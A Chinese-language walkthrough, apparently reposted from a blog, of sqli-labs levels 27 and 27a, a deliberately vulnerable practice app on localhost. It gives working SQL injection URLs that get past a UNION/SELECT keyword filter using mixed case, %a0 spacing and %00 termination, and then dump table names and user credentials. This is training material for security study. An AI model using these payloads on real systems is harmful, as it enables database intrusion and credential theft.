sqli-labs (less-27 and less-27a)

sqli-labs (less-27 and less-27a)

less-27

进入27关,输入ID=1查看屏幕回显

直接查看源代码

发现在less-26的基础上过滤了UNION,SELECT,union,select,这里我们可以采取大小写混合过滤

确定回显位置

http://127.0.0.1/sql1/Less-27/?id=1111' %a0 UniOn %a0 SelECT %a0 1,2,3;%00


查看当前库

http://127.0.0.1/sql1/Less-27/?id=1111' %a0 UniOn %a0 SelECT %a0 1,2,database();%00


查看security库下的所有表

http://127.0.0.1/sql1/Less-27/?id=1111' %a0 UniOn %a0 SelECT %a0 1,2,(sELect (group_concat(table_name)) from (information_schema.tables) where (table_schema='security'));%00


查看users表下的所有字段

http://127.0.0.1/sql1/Less-27/?id=1111' %a0 UniOn %a0 SelECT %a0 1,2,(sELect (group_concat(column_name)) from (information_schema.columns) where (table_name='users'));%00


查看username,password字段的值

http://127.0.0.1/sql1/Less-27/?id=1111' %a0 UniOn %a0 SelECT %a0 1,2,(sELect (group_concat(username,password)) from (security.users));%00

less-27a

输入

http://127.0.0.1/sql1/Less-27a/?id=1' #正常显示
http://127.0.0.1/sql1/Less-27a/?id=1" #回显错误


判断闭合方式为";%00,并且为字符型注入
接下来的与less-27完全一样,这里不具体介绍,本关主要是过滤了union,UNION,select,SELECT,采用大小写混合绕过即可

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转载自blog.csdn.net/kukudeshuo/article/details/114709410